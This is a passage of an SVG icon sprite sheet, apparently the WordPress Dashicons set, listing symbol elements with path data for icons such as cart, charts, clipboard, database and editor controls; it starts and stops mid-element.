3-.05-.71-.2-2.27-.98-2.95-1.04-.91-2.29-.05-2.32 1.05-.04 1.33 2.82 2.07 1.92 3.67C11.04 4.67 9.25 4.03 8.1 4.7c-.49.31-1.05.91-1.63 1.69.89.94 2.12 2.07 3.09 2.72.2.14.26.42.11.62-.14.21-.42.26-.62.12-.99-.67-2.2-1.78-3.1-2.71-.45.67-.91 1.43-1.34 2.23.85.86 1.93 1.83 2.79 2.41.2.14.25.42.11.62-.14.21-.42.26-.63.12-.85-.58-1.86-1.48-2.71-2.32C2.4 13.69 1.1 17.63 2 18.43z"/></g></symbol><symbol viewBox="0 0 20 20" id="cart"><title>cart</title><g><path d="M6 13h9c.55 0 1 .45 1 1s-.45 1-1 1H5c-.55 0-1-.45-1-1V4H2c-.55 0-1-.45-1-1s.45-1 1-1h3c.55 0 1 .45 1 1v2h13l-4 7H6v1zm-.5 3c.83 0 1.5.67 1.5 1.5S6.33 19 5.5 19 4 18.33 4 17.5 4.67 16 5.5 16zm9 0c.83 0 1.5.67 1.5 1.5s-.67 1.5-1.5 1.5-1.5-.67-1.5-1.5.67-1.5 1.5-1.5z"/></g></symbol><symbol viewBox="0 0 20 20" id="category"><title>category</title><g><path d="M5 7h13v10H2V4h7l2 2H4v9h1V7z"/></g></symbol><symbol viewBox="0 0 20 20" id="chart-area"><title>chart-area</title><g><path d="M18 18l.01-12.28c.59-.35.99-.99.99-1.72 0-1.1-.9-2-2-2s-2 .9-2 2c0 .8.47 1.48 1.14 1.8l-4.13 6.58c-.33-.24-.73-.38-1.16-.38-.84 0-1.55.51-1.85 1.24l-2.14-1.53c.09-.22.14-.46.14-.71 0-1.11-.89-2-2-2-1.1 0-2 .89-2 2 0 .73.4 1.36.98 1.71L1 18h17zM17 3c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1zM5 10c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1zm5.85 3c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1z"/></g></symbol><symbol viewBox="0 0 20 20" id="chart-bar"><title>chart-bar</title><g><path d="M18 18V2h-4v16h4zm-6 0V7H8v11h4zm-6 0v-8H2v8h4z"/></g></symbol><symbol viewBox="0 0 20 20" id="chart-line"><title>chart-line</title><g><path d="M18 3.5c0 .62-.38 1.16-.92 1.38v13.11H1.99l4.22-6.73c-.13-.23-.21-.48-.21-.76C6 9.67 6.67 9 7.5 9S9 9.67 9 10.5c0 .13-.02.25-.05.37l1.44.63c.27-.3.67-.5 1.11-.5.18 0 .35.04.51.09l3.58-6.41c-.36-.27-.59-.7-.59-1.18 0-.83.67-1.5 1.5-1.5.19 0 .36.04.53.1l.05-.09v.11c.54.22.92.76.92 1.38zm-1.92 13.49V5.85l-3.29 5.89c.13.23.21.48.21.76 0 .83-.67 1.5-1.5 1.5s-1.5-.67-1.5-1.5l.01-.07-1.63-.72c-.25.18-.55.29-.88.29-.18 0-.35-.04-.51-.1l-3.2 5.09h12.29z"/></g></symbol><symbol viewBox="0 0 20 20" id="chart-pie"><title>chart-pie</title><g><path d="M10 10V3c3.87 0 7 3.13 7 7h-7zM9 4v7h7c0 3.87-3.13 7-7 7s-7-3.13-7-7 3.13-7 7-7z"/></g></symbol><symbol viewBox="0 0 20 20" id="clipboard"><title>clipboard</title><g><path d="M11.9.39l1.4 1.4c1.61.19 3.5-.74 4.61.37s.18 3 .37 4.61l1.4 1.4c.39.39.39 1.02 0 1.41l-9.19 9.2c-.4.39-1.03.39-1.42 0L1.29 11c-.39-.39-.39-1.02 0-1.42l9.2-9.19c.39-.39 1.02-.39 1.41 0zm.58 2.25l-.58.58 4.95 4.95.58-.58c-.19-.6-.2-1.22-.15-1.82.02-.31.05-.62.09-.92.12-1 .18-1.63-.17-1.98s-.98-.29-1.98-.17c-.3.04-.61.07-.92.09-.6.05-1.22.04-1.82-.15zm4.02.93c.39.39.39 1.03 0 1.42s-1.03.39-1.42 0-.39-1.03 0-1.42 1.03-.39 1.42 0zm-6.72.36l-.71.7L15.44 11l.7-.71zM8.36 5.34l-.7.71 6.36 6.36.71-.7zM6.95 6.76l-.71.7 6.37 6.37.7-.71zM5.54 8.17l-.71.71 6.36 6.36.71-.71zM4.12 9.58l-.71.71 6.37 6.37.71-.71z"/></g></symbol><symbol viewBox="0 0 20 20" id="clock"><title>clock</title><g><path d="M10 2c4.42 0 8 3.58 8 8s-3.58 8-8 8-8-3.58-8-8 3.58-8 8-8zm0 14c3.31 0 6-2.69 6-6s-2.69-6-6-6-6 2.69-6 6 2.69 6 6 6zm-.71-5.29c.07.05.14.1.23.15l-.02.02L14 13l-3.03-3.19L10 5l-.97 4.81h.01c0 .02-.01.05-.02.09S9 9.97 9 10c0 .28.1.52.29.71z"/></g></symbol><symbol viewBox="0 0 20 20" id="cloud-saved"><title>cloud-saved</title><g><path d="M14.8 9c.1-.3.2-.6.2-1 0-2.2-1.8-4-4-4-1.5 0-2.9.9-3.5 2.2-.3-.1-.7-.2-1-.2C5.1 6 4 7.1 4 8.5c0 .2 0 .4.1.5-1.8.3-3.1 1.7-3.1 3.5C1 14.4 2.6 16 4.5 16h10c1.9 0 3.5-1.6 3.5-3.5 0-1.8-1.4-3.3-3.2-3.5zm-6.3 5.9l-3.2-3.2 1.4-1.4 1.8 1.8 3.8-3.8 1.4 1.4-5.2 5.2z"/></g></symbol><symbol viewBox="0 0 20 20" id="cloud-upload"><title>cloud-upload</title><g><path d="M14.8 9c.1-.3.2-.6.2-1 0-2.2-1.8-4-4-4-1.5 0-2.9.9-3.5 2.2-.3-.1-.7-.2-1-.2C5.1 6 4 7.1 4 8.5c0 .2 0 .4.1.5-1.8.3-3.1 1.7-3.1 3.5C1 14.4 2.6 16 4.5 16H8v-3H5l4.5-4.5L14 13h-3v3h3.5c1.9 0 3.5-1.6 3.5-3.5 0-1.8-1.4-3.3-3.2-3.5z"/></g></symbol><symbol viewBox="0 0 20 20" id="cloud"><title>cloud</title><g><path d="M14.9 9c0-.3.1-.6.1-1 0-2.2-1.8-4-4-4-1.6 0-2.9.9-3.6 2.2-.2-.1-.6-.2-.9-.2C5.1 6 4 7.1 4 8.5c0 .2 0 .4.1.5-1.8.3-3.1 1.7-3.1 3.5C1 14.4 2.6 16 4.5 16h10c1.9 0 3.5-1.6 3.5-3.5 0-1.8-1.3-3.3-3.1-3.5z"/></g></symbol><symbol viewBox="0 0 20 20" id="code-standards"><title>code-standards</title><g><path d="M6.1 9.5V8.4c0-.5-.2-.7-.7-.8.6-.1.8-.3.8-.9V5.6c0-.4.1-.5.7-.5h.3v-.5h-.6c-.9 0-1.3.2-1.3 1 0 .5.1.8.1 1.2 0 .2-.2.5-.9.5v.6c.7 0 .9.3.9.5 0 .4-.1.7-.1 1.2 0 .8.4 1 1.3 1h.5V10h-.3c-.5 0-.7-.1-.7-.5zm10.4 4.4c-.8-.8-1.7-1.4-2.6-2-.1-.1-1.1-1.1-1.5-1.4 2.4-4-1.1-9.2-5.7-8.5-4.4.7-6.3 6.2-3.2 9.4 1.7 1.9 4.6 2.3 6.9 1.1.6.6 1.1 1.1 1.6 1.7.7.9 1.2 1.8 2.1 2.5.6.5 1.4 1.2 2.3 1.3 1.1.1 1.7-.6 1.7-1.6-.1-.9-1-1.9-1.6-2.5zm-8.9-2.3c-2.2 0-4-1.8-4-4s1.8-4 4-4 4 1.8 4 4-1.8 4-4 4zm2.1-4.8c0-.4.1-.7.1-1.2 0-.8-.4-1-1.3-1H8v.5h.3c.5 0 .7.1.7.5v1.1c0 .5.2.7.7.8-.6.2-.8.4-.8.9v1.1c.1.4-.1.5-.6.5H8v.6h.5c.9 0 1.3-.2 1.3-1 0-.5-.1-.8-.1-1.2 0-.2.2-.5.9-.5v-.6c-.7 0-.9-.3-.9-.5z"/></g></symbol><symbol viewBox="0 0 20 20" id="coffee"><title>coffee</title><g><path d="M4 15c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2H4zm2-3.8v.8c0 1.1.9 2 2 2h7c1.1 0 2-.9 2-2V4H5.6C3.6 4 2 5.4 2 7.6c0 2.3 1.6 3.6 3.6 3.6H6zM3.9 7.6c0-1 .7-1.8 1.7-1.8H6v3.6h-.4c-1 0-1.7-.7-1.7-1.8z"/></g></symbol><symbol viewBox="0 0 20 20" id="color-picker"><title>color-picker</title><g><path d="M17.8 2.2c-1-1-2.6-1-3.6 0L12.4 4l-.7-.7c-.4-.4-1-.4-1.4 0l-.8.7c-.4.4-.4 1 0 1.4l5 5c.4.4 1 .4 1.4 0l.7-.7c.4-.4.4-1 0-1.4l-.6-.7 1.8-1.8c1-1 1-2.6 0-3.6zM4.4 12c-2.2 2.2-.9 3.2-2.9 5.8l.7.7c2.6-2 3.6-.7 5.8-2.9l5.1-5.1-3.6-3.6L4.4 12z"/></g></symbol><symbol viewBox="0 0 20 20" id="columns"><title>columns</title><g><path d="M3 15h6V5H3v10zm8 0h6V5h-6v10z"/></g></symbol><symbol viewBox="0 0 20 20" id="controls-back"><title>controls-back</title><g><path d="M2 10l10-6v3.6L18 4v12l-6-3.6V16z"/></g></symbol><symbol viewBox="0 0 20 20" id="controls-forward"><title>controls-forward</title><g><path d="M18 10L8 16v-3.6L2 16V4l6 3.6V4z"/></g></symbol><symbol viewBox="0 0 20 20" id="controls-pause"><title>controls-pause</title><g><path d="M5 16V4h3v12H5zm7-12h3v12h-3V4z"/></g></symbol><symbol viewBox="0 0 20 20" id="controls-play"><title>controls-play</title><g><path d="M5 4l10 6-10 6V4z"/></g></symbol><symbol viewBox="0 0 20 20" id="controls-repeat"><title>controls-repeat</title><g><path d="M5 7v3l-2 1.5V5h11V3l4 3.01L14 9V7H5zm10 6v-3l2-1.5V15H6v2l-4-3.01L6 11v2h9z"/></g></symbol><symbol viewBox="0 0 20 20" id="controls-skipback"><title>controls-skipback</title><g><path d="M11.98 7.63l6-3.6v12l-6-3.6v3.6l-8-4.8v4.8h-2v-12h2v4.8l8-4.8v3.6z"/></g></symbol><symbol viewBox="0 0 20 20" id="controls-skipforward"><title>controls-skipforward</title><g><path d="M8 12.4L2 16V4l6 3.6V4l8 4.8V4h2v12h-2v-4.8L8 16v-3.6z"/></g></symbol><symbol viewBox="0 0 20 20" id="controls-volumeoff"><title>controls-volumeoff</title><g><path d="M2 7h4l5-4v14l-5-4H2V7z"/></g></symbol><symbol viewBox="0 0 20 20" id="controls-volumeon"><title>controls-volumeon</title><g><path d="M2 7h4l5-4v14l-5-4H2V7zm12.69-2.46C14.82 4.59 18 5.92 18 10s-3.18 5.41-3.31 5.46c-.06.03-.13.04-.19.04-.2 0-.39-.12-.46-.31-.11-.26.02-.55.27-.65.11-.05 2.69-1.15 2.69-4.54 0-3.41-2.66-4.53-2.69-4.54-.25-.1-.38-.39-.27-.65.1-.25.39-.38.65-.27zM16 10c0 2.57-2.23 3.43-2.32 3.47-.06.02-.12.03-.18.03-.2 0-.39-.12-.47-.32-.1-.26.04-.55.29-.65.07-.02 1.68-.67 1.68-2.53s-1.61-2.51-1.68-2.53c-.25-.1-.38-.39-.29-.65.1-.25.39-.39.65-.29.09.04 2.32.9 2.32 3.47z"/></g></symbol><symbol viewBox="0 0 20 20" id="cover-image"><title>cover-image</title><g><path d="M2.2 1h15.5c.7 0 1.3.6 1.3 1.2v11.5c0 .7-.6 1.2-1.2 1.2H2.2c-.6.1-1.2-.5-1.2-1.1V2.2C1 1.6 1.6 1 2.2 1zM17 13V3H3v10h14zm-4-4s0-5 3-5v7c0 .6-.4 1-1 1H5c-.6 0-1-.4-1-1V7c2 0 3 4 3 4s1-4 3-4 3 2 3 2zM4 17h12v2H4z"/></g></symbol><symbol viewBox="0 0 20 20" id="dashboard"><title>dashboard</title><g><path d="M3.76 16h12.48c1.1-1.37 1.76-3.11 1.76-5 0-4.42-3.58-8-8-8s-8 3.58-8 8c0 1.89.66 3.63 1.76 5zM10 4c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1zM6 6c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1zm8 0c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1zm-5.37 5.55L12 7v6c0 1.1-.9 2-2 2s-2-.9-2-2c0-.57.24-1.08.63-1.45zM4 10c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1zm12 0c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1zm-5 3c0-.55-.45-1-1-1s-1 .45-1 1 .45 1 1 1 1-.45 1-1z"/></g></symbol><symbol viewBox="0 0 20 20" id="database-add"><title>database-add</title><g><path d="M14 10c2.2 0 4-1.8 4-4s-1.8-4-4-4-4 1.8-4 4 1.8 4 4 4zm-1-5V3h2v2h2v2h-2v2h-2V7h-2V5h2zM9 6c0-1.6.8-3 2-4h-1c-3.9 0-7 .9-7 2 0 1 2.6 1.8 6 2zm1 9c-3.9 0-7-.9-7-2v3c0 1.1 3.1 2 7 2s7-.9 7-2v-3c0 1.1-3.1 2-7 2zm2.8-4.2c-.9.1-1.9.2-2.8.2-3.9 0-7-.9-7-2v3c0 1.1 3.1 2 7 2s7-.9 7-2v-2c-.9.7-1.9 1-3 1-.4 0-.8-.1-1.2-.2zM10 10h1c-1-.7-1.7-1.8-1.9-3C5.7 6.9 3 6 3 5v3c0 1.1 3.1 2 7 2z"/></g></symbol><symbol viewBox="0 0 20 20" id="database-export"><title>database-export</title><g><path d="M9 6c0-1.6.8-3 2-4h-1c-3.9 0-7 .9-7 2 0 1 2.6 1.8 6 2zm1 9c-3.9 0-7-.9-7-2v3c0 1.1 3.1 2 7 2s7-.9 7-2v-3c0 1.1-3.1 2-7 2zm2.8-4.2c-.9.1-1.9.2-2.8.2-3.9 0-7-.9-7-2v3c0 1.1 3.1 2 7 2s7-.9 7-2v-2c-.9.7-1.9 1-3 1-.4 0-.8-.1-1.2-.2zM10 10h1c-1-.7-1.7-1.8-1.9-3C5.7 6.9 3 6 3 5v3c0 1.1 3.1 2 7 2zm4 0c2.2 0 4-1.8 4-4s-1.8-4-4-4-4 1.8-4 4 1.8 4 4 4zm0-7l3 3h-2v3h-2V6h-2l3-3z"/></g></symbol><symbol viewBox="0 0 20 20" id="database-import"><title>database-import</title><g><path d="M9 6c0-1.6.8-3 2-4h-1c-3.9 0-7 .9-7 2 0 1 2.6 1.8 6 2zm3.8 4.8c-.9.1-1.9.2-2.8.2-3.9 0-7-.9-7-2v3c0 1.1 3.1 2 7 2s7-.9 7-2v-2c-.9.7-1.9 1-3 1-.4 0-.8-.1-1.2-.2zM10 15c-3.9 0-7-.9-7-2v3c0 1.1 3.1 2 7 2s7-.9 7-2v-3c0 1.1-3.1 2-7 2zm0-5h1c-1-.7-1.7-1.8-1.9-3C5.7 6.9 3 6 3 5v3c0 1.1 3.1 2 7 2zm4 0c2.2 0 4-1.8 4-4s-1.8-4-4-4-4 1.8-4 4 1.8 4 4 4zm-1-4V3h2v3h2l-3 3-3-3h2z"/></g></symbol><symbol viewBox="0 0 20 20" id="database-remove"><title>database-remove</title><g><path d="M14 10c2.2 0 4-1.8 4-4s-1.8-4-4-4-4 1.8-4 4 1.8 4 4 4zm3-5v2h-6V5h6zM9 6c0-1.6.8-3 2-4h-1c-3.9 0-7 .9-7 2 0 1 2.6 1.8 6 2zm3.8 4.8c-.9.1-1.9.2-2.8.2-3.9 0-7-.9-7-2v3c0 1.1 3.1 2 7 2s7-.9 7-2v-2c-.9.7-1.9 1-3 1-.4 0-.8-.1-1.2-.2zM10 10h1c-1-.7-1.7-1.8-1.9-3C5.7 6.9 3 6 3 5v3c0 1.1 3.1 2 7 2zm0 5c-3.9 0-7-.9-7-2v3c0 1.1 3.1 2 7 2s7-.9 7-2v-3c0 1.1-3.1 2-7 2z"/></g></symbol><symbol viewBox="0 0 20 20" id="database-view"><title>database-view</title><g><path d="M9 6c0-1.6.8-3 2-4h-1c-3.9 0-7 .9-7 2 0 1 2.6 1.8 6 2zm3.8 4.8c-.9.1-1.9.2-2.8.2-3.9 0-7-.9-7-2v3c0 1.1 3.1 2 7 2s7-.9 7-2v-2c-.9.7-1.9 1-3 1-.4 0-.8-.1-1.2-.2zM10 15c-3.9 0-7-.9-7-2v3c0 1.1 3.1 2 7 2s7-.9 7-2v-3c0 1.1-3.1 2-7 2zm0-5h1c-1-.7-1.7-1.8-1.9-3C5.7 6.9 3 6 3 5v3c0 1.1 3.1 2 7 2zm4 0c2.2 0 4-1.8 4-4s-1.8-4-4-4-4 1.8-4 4 1.8 4 4 4zm-2.3-4.4l1.7 1.7 2.9-2.9.7.7-3.6 3.6L11 6.3l.7-.7z"/></g></symbol><symbol viewBox="0 0 20 20" id="database"><title>database</title><g><path d="M10 6c3.9 0 7-.9 7-2s-3.1-2-7-2-7 .9-7 2 3.1 2 7 2zm0 9c-3.9 0-7-.9-7-2v3c0 1.1 3.1 2 7 2s7-.9 7-2v-3c0 1.1-3.1 2-7 2zm0-4c-3.9 0-7-.9-7-2v3c0 1.1 3.1 2 7 2s7-.9 7-2V9c0 1.1-3.1 2-7 2zm0-4c-3.9 0-7-.9-7-2v3c0 1.1 3.1 2 7 2s7-.9 7-2V5c0 1.1-3.1 2-7 2z"/></g></symbol><symbol viewBox="0 0 20 20" id="desktop"><title>desktop</title><g><path d="M3 2h14c.55 0 1 .45 1 1v10c0 .55-.45 1-1 1h-5v2h2c.55 0 1 .45 1 1v1H5v-1c0-.55.45-1 1-1h2v-2H3c-.55 0-1-.45-1-1V3c0-.55.45-1 1-1zm13 9V4H4v7h12zM5 5h9L5 9V5z"/></g></symbol><symbol viewBox="0 0 20 20" id="dismiss"><title>dismiss</title><g><path d="M10 2c4.42 0 8 3.58 8 8s-3.58 8-8 8-8-3.58-8-8 3.58-8 8-8zm5 11l-3-3 3-3-2-2-3 3-3-3-2 2 3 3-3 3 2 2 3-3 3 3z"/></g></symbol><symbol viewBox="0 0 20 20" id="download"><title>download</title><g><path d="M14.01 4v6h2V2H4v8h2.01V4h8zm-2 2v6h3l-5 6-5-6h3V6h4z"/></g></symbol><symbol viewBox="0 0 20 20" id="drumstick"><title>drumstick</title><g><path d="M17.2 4.5c-.4-.7-1-1.2-1.6-1.6C13 1.3 9.7 2 8.1 4.5c-.5.8-.8 1.8-.8 2.7 0 1.5-.6 3-1.6 4.1l-.8.8c-.5.5-1.9.2-2.5 1.2-1.1 1.9.7 2.6 1.2 3.1s1.2 2.4 3.1 1.2c.9-.6.6-1.9 1.2-2.5l.8-.8c1.1-1 2.6-1.6 4.1-1.6.3 0 .6 0 .8-.1-.8-1.6-.2-3.5 1.3-4.3.9-.5 2.1-.5 3 0 .3-1.3 0-2.7-.7-3.8z"/></g></symbol><symbol viewBox="0 0 20 20" id="edit-large"><title>edit-large</title><g><path d="M6.4 14.1l1.3 1.3 6.9-6.9-1.3-1.3-6.9 6.9zm6.3-7.5l-1.3-1.3-6.9 6.9 1.4 1.4 6.8-7zm2.1-4.7l3.3 3.3c.6.6.5 1.5 0 2l-9.9 9.9-6.9 1.4 1.4-6.9c6.2-6.3 9.5-9.6 9.9-9.9.6-.4 1.6-.4 2.2.2z"/></g></symbol><symbol viewBox="0 0 20 20" id="edit-page"><title>edit-page</title><g><path d="M4 5H2v13h10v-2H4V5zm13.9-1.6l-1.3-1.3c-.4-.4-1.1-.5-1.6-.1l-1 1H5v12h9V9l4-4c.4-.5.3-1.2-.1-1.6zm-5.7 6l-2.5.9.9-2.5L15 3.4 16.6 5l-4.4 4.4z"/></g></symbol><symbol viewBox="0 0 20 20" id="edit"><title>edit</title><g><path d="M13.89 3.39l2.71 2.72c.46.46.42 1.24.03 1.64l-8.01 8.02-5.56 1.16 1.16-5.58s7.6-7.63 7.99-8.03c.39-.39 1.22-.39 1.68.07zm-2.73 2.79l-5.59 5.61 1.11 1.11 5.54-5.65zm-2.97 8.23l5.58-5.6-1.07-1.08-5.59 5.6z"/></g></symbol><symbol viewBox="0 0 20 20" id="editor-aligncenter"><title>editor-aligncenter</title><g><path d="M14 5V3H6v2h8zm3 4V7H3v2h14zm-3 4v-2H6v2h8zm3 4v-2H3v2h14z"/></g></symbol><symbol viewBox="0 0 20 20" id="editor-alignleft"><title>editor-alignleft</title><g><path d="M12 5V3H3v2h9zm5 4V7H3v2h14zm-5 4v-2H3v2h9zm5 4v-2H3v2h14z"/></g></symbol><symbol viewBox="0 0 20 20" id="editor-alignright"><title>editor-alignright</title><g><path d="M17 5V3H8v2h9zm0 4V7H3v2h14zm0 4v-2H8v2h9zm0 4v-2H3v2h14z"/></g></symbol><symbol viewBox="0 0 20 20" id="editor-bold"><title>editor-bold</title><g><path d="M6 4v13h4.54c1.37 0 2.46-.33 3.26-1 .8-.66 1.2-1.58 1.2-2.77 0-.84-.17-1.51-.51-2.01s-.9-.85-1.67-1.03v-.09c.57-.1 1.02-.4 1.36-.9s.51-1.13.51-1.91c0-1.14-.39-1.98-1.17-2.5C12.75 4.26 11.5 4 9.78 4H6zm2.57 5.15V6.26h1.36c.73 0 1.27.11 1.61.32.34.22.51.58.51 1.07 0 .54-.16.92-.47 1.15s-.82.35-1.51.35h-1.5zm0 2.19h1.6c1.44 0 2.16.53 2.16 1.61 0 .6-.17 1.05-.51 1.34s-.86.43-1.57.43H8.57v-3.38z"/></g></symbol><symbol viewBox="0 0 20 20" id="editor-break"><title>editor-break</title><g><path d="M16 4h2v9H7v3l-5-4 5-4v3h9V4z"/></g></symbol><symbol viewBox="0 0 20 20" id="editor-code-duplicate"><title>editor-code-duplicate</title><g><path d="M9 6l-4 4 4 4-1 2-6-6 6-6zm2 8l4-4-4-4 1-2 6 6-6 6z"/></g></symbol><symbol viewBox="0 0 20 20" id="editor-code"><title>editor-code</title><g><path d="M9 6l-4 4 4 4-1 2-6-6 6-6zm2 8l4-4-4-4 1-2 6 6-6 6z"/></g></symbol><symbol viewBox="0 0 20 20" id="editor-contract"><title>editor-contract</title><g><path d="M15.75 6.75L18 3v14l-2.25-3.75L17 12h-4v4l1.25-1.25L18 17H2l3.75-2.25L7 16v-4H3l1.25 1.25L2 17V3l2.25 3.75L3 8h4V4L5.75 5.25 2 3h16l-3.75 2.25L13 4v4h4z"/></g></symbol><symbol viewBox="0 0 20 20" id="editor-customchar"><title>editor-customchar</title><g><path d="M10 5.4c1.27 0 2.24.36 2.91 1.08.66.71 1 1.76 1 3.13 0 1.28-.23 2.37-.69 3.27-.47.89-1.27 1.52-2.22 2.12v2h6v-2h-3.69c.92-.64 1.62-1.34 2.12-2.34.49-1.01.74-2.13.74-3.35 0-1.78-.55-3.19-1.65-4.22S11.92 3.54 10 3.54s-3.43.53-4.52 1.57c-1.1 1.04-1.65 2.44-1.65 4.2 0 1.21.24 2.31.73 3.33.48 1.01 1.19 1.71 2.1 2.36H3v2h6v-2c-.98-.64-1.8-1.28-2.24-2.17-.45-.89-.67-1.96-.67-3.22 0-1.37.33-2.41 1-3.13C7.75 5.76 8.72 5.4 10 5.4z"/></g></symbol><symbol viewBox="0 0 20 20" id="editor-expand"><title>editor-expand</title><g><path d="M7 8h6v4H7zm-5 5v4h4l-1.2-1.2L7 12l-3.8 2.2M14 17h4v-4l-1.2 1.2L13 12l2.2 3.8M14 3l1.3 1.3L13 8l3.8-2.2L18 7V3M6 3H2v4l1.2-1.2L7 8 4.7 4.3"/></g></symbol><symbol viewBox="0 0 20 20" id="editor-help"><title>editor-help</title><g><path d="M17 10c0-3.87-3.14-7-7-7-3.87 0-7 3.13-7 7s3.13 7 7 7c3.86 0 7-3.13 7-7zm-6.3 1.48H9.14v-.43c0-.38.08-.7.24-.98s.46-.57.88-.89c.41-.29.68-.53.81-.71.14-.18.2-.39.2-.62 0-.25-.09-.44-.28-.58-.19-.13-.45-.19-.79-.19-.58 0-1.25.19-2 .57l-.64-1.28c.87-.49 1.8-.74 2.77-.74.81 0 1.45.2 1.92.58.48.39.71.91.71 1.55 0 .43-.09.8-.29 1.11-.19.32-.57.67-1.11 1.06-.38.28-.61.49-.71.63-.1.15-.15.34-.15.57v.35zm-1.47 2.74c-.18-.17-.27-.42-.27-.73 0-.33.08-.58.26-.75s.43-.25.77-.25c.32 0 .57.09.75.26s.27.42.27.74c0 .3-.09.55-.27.72-.18.18-.43.27-.75.27-.33 0-.58-.09-.76-.26z"/></g></symbol><symbol viewBox="0 0 20 20" id="editor-indent"><title>editor-indent</title><g><path d="M3 5V3h9v2H3zm10-1V3h4v1h-4zm0 3h2V5l4 3.5-4 3.5v-2h-2V7zM3 8V6h9v2H3zm2 3V9h7v2H5zm-2 3v-2h9v2H3zm10 0v-1h4v1h-4zm-4 3v-2h3v2H9z"/></g></symbol><symbol viewBox="0 0 20 20" id="editor-insertmore"><title>editor-insertmore</title><g><path d="M17 7V3H3v4h14zM6 11V9H3v2h3zm6 0V9H8v2h4zm5 0V9h-3v2h3zm0 6v-4H3v4h14z"/></g></symbol><symbol viewBox="0 0 20 20" id="editor-italic"><title>editor-italic</title><g><path d="M14.78 6h-2.13l-2.8 9h2.12l-.62 2H4.6l.62-2h2.14l2.8-9H8.03l.62-2h6.75z"/></g></symbol><symbol viewBox="0 0 20 20" id="editor-justify"><title>editor-justify</title><g><path d="M2 3h16v2H2V3zm0 4h16v2H2V7zm0 4h16v2H2v-2zm0 4h16v2H2v-2z"/></g></symbol><symbol viewBox="0 0 20 20" id="editor-kitchensink"><title>editor-kitchensink</title><g><path d="M19 2v6H1V2h18zm-1 5V3H2v4h16zM5 4v2H3V4h2zm3 0v2H6V4h2zm3 0v2H9V4h2zm3 0v2h-2V4h2zm3 0v2h-2V4h2zm2 5v9H1V9h18zm-1 8v-7H2v7h16zM5 11v2H3v-2h2zm3 0v2H6v-2h2zm3 0v2H9v-2h2zm6 0v2h-5v-2h5zm-6 3v2H3v-2h8zm3 0v2h-2v-2h2zm3 0v2h-2v-2h2z"/></g></symbol><symbol viewBox="0 0 20 20" id="editor-ltr"><title>editor-ltr</title><g><path d="M13 2H5.5C3 2 1 4 1 6.5S3 11 5.5 11H6v6c0 .5.5 1 1 1s1-.5 1-1V5c0-.5.5-1 1-1s1 .5 1 1v12c0 .5.5 1 1 1s1-.5 1-1V4h1c.5 0 1-.5 1-1s-.5-1-1-1zm1 4v8l5-4-5-4z"/></g></symbol><symbol viewBox="0 0 20 20" id="editor-ol-rtl"><title>editor-ol-rtl</title><g><path d="M15 8.8c.1-.1.3-.1.4-.1.1 0 .3 0 .4.1.1.1.2.2.2.3 0 .1 0 .2-.1.3 0 .1-.1.2-.2.3l-.6.6-1 1v.7h2.8v-.7h-1.7l.5-.5.7-.7c.1-.1.2-.3.3-.5.1-.2.1-.3.1-.5s-.1-.4-.2-.6c-.1-.2-.3-.3-.4-.4-.2-.1-.4-.2-.7-.1-.2 0-.3 0-.5.1-.1 0-.3.1-.4.1-.2.1-.3.2-.5.4l.5.4c.1-.1.3-.2.4-.2zm1.7 6.5c-.2-.2-.5-.3-.7-.3.3-.1.5-.2.6-.4.2-.2.2-.4.2-.6 0-.3-.1-.6-.4-.7-.3-.2-.6-.3-1-.3-.5 0-.9.1-1.3.4l.4.6c.1-.1.3-.2.5-.2.1 0 .3-.1.4-.1.4 0 .6.2.6.5 0 .2-.1.3-.2.4-.2.1-.5.1-.7.1h-.3v.7h.3c.3 0 .5 0 .8.1.2.1.2.2.2.4s-.1.4-.2.5c-.2.1-.4.2-.6.2-.2 0-.4 0-.6-.1-.2 0-.4-.1-.5-.2v.7c.4.2.8.2 1.2.2.4 0 .9-.1 1.2-.3.3-.2.4-.6.4-.9 0-.3-.1-.5-.3-.7zM15 4.2c.1 0 .2-.1.3-.3V7h.8V3h-.7l-1.3 1 .4.5.5-.3zM4 6h9V5H4v1zm0 5h9v-1H4v1zm0 5h9v-1H4v1z"/></g></symbol><symbol viewBox="0 0 20 20" id="editor-ol"><title>editor-ol</title><g><path d="M6 7V3h-.69L4.02 4.03l.4.51.46-.37c.06-.05.16-.14.3-.28l-.02.42V7H6zm2-2h9v1H8V5zm-1.23 6.95v-.7H5.05v-.04l.51-.48c.33-.31.57-.54.7-.71.14-.17.24-.33.3-.49.07-.16.1-.33.1-.51 0-.21-.05-.4-.16-.56-.1-.16-.25-.28-.44-.37s-.41-.14-.65-.14c-.19 0-.36.02-.51.06-.15.03-.29.09-.42.15-.12.07-.29.19-.48.35l.45.54c.16-.13.31-.23.45-.3.15-.07.3-.1.45-.1.14 0 .26.03.35.11s.13.2.13.36c0 .1-.02.2-.06.3s-.1.21-.19.33c-.09.11-.29.32-.58.62l-.99 1v.58h2.76zM8 10h9v1H8v-1zm-1.29 3.95c0-.3-.12-.54-.37-.71-.24-.17-.58-.26-1-.26-.52 0-.96.13-1.33.4l.4.6c.17-.11.32-.19.46-.23.14-.05.27-.07.41-.07.38 0 .58.15.58.46 0 .2-.07.35-.22.43s-.38.12-.7.12h-.31v.66h.31c.34 0 .59.04.75.12.15.08.23.22.23.41 0 .22-.07.37-.2.47-.14.1-.35.15-.63.15-.19 0-.38-.03-.57-.08s-.36-.12-.52-.2v.74c.34.15.74.22 1.18.22.53 0 .94-.11 1.22-.33.29-.22.43-.52.43-.92 0-.27-.09-.48-.26-.64s-.42-.26-.74-.3v-.02c.27-.06.49-.19.65-.37.15-.18.23-.39.23-.65zM8 15h9v1H8v-1z"/></g></symbol><symbol viewBox="0 0 20 20" id="editor-outdent"><title>editor-outdent</title><g><path d="M7 4V3H3v1h4zm10 1V3H8v2h9zM7 7H5V5L1 8.5 5 12v-2h2V7zm10 1V6H8v2h9zm-2 3V9H8v2h7zm2 3v-2H8v2h9zM7 14v-1H3v1h4zm4 3v-2H8v2h3z"/></g></symbol><symbol viewBox="0 0 20 